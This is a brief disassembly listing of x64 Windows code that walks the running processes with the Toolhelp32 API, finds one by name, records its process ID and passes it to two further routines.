lea ecx, [rdx + 2]
call qword [sym.imp.KERNEL32.dll_CreateToolhelp32Snapshot]
mov rbx, rax
cmp rax, 0xffffffffffffffff
je 0x14010ef20
mov dword [rbp + 0x1c0], 0x130
xor edx, edx
mov r8d, Ordinal_301
lea rcx, [rbp + 0x1c4]
call sub.VCRUNTIME140.dll_memset
lea rdx, [rbp + 0x1c0]
mov rcx, rbx
call qword [sym.imp.KERNEL32.dll_Process32First]
test eax, eax
je 0x14010ef17
nop
lea rax, [rbp + 0x1ec]
mov r8, r12
sub r8, rax
nop dword [rax]
movzx edx, byte [rax]
movzx ecx, byte [rax + r8]
sub edx, ecx
jne 0x14010eef3
inc rax
test ecx, ecx
jne 0x14010eee0
test edx, edx
je 0x14010ef0d
lea rdx, [rbp + 0x1c0]
mov rcx, rbx
call qword [sym.imp.KERNEL32.dll_Process32Next]
test eax, eax
jne 0x14010eed0
jmp 0x14010ef17
mov eax, dword [rbp + 0x1c8]
mov qword [r15 + 0x18], rax
mov rcx, rbx
call qword [sym.imp.KERNEL32.dll_CloseHandle]
cmp qword [r15 + 0x18], 0
je 0x14010ee2d
mov rdx, r12
mov rcx, r15
call fcn.14010ef80
mov qword [r15], rax
mov rdx, r12
mov rcx, r15
call fcn.14010f080
mov qword [r15 + 8], rax
cmp qword [r15 + 0x10], 0xffffffffffffffff
je 0x14010ee2d
mov al, 1
jmp 0x14010ee2f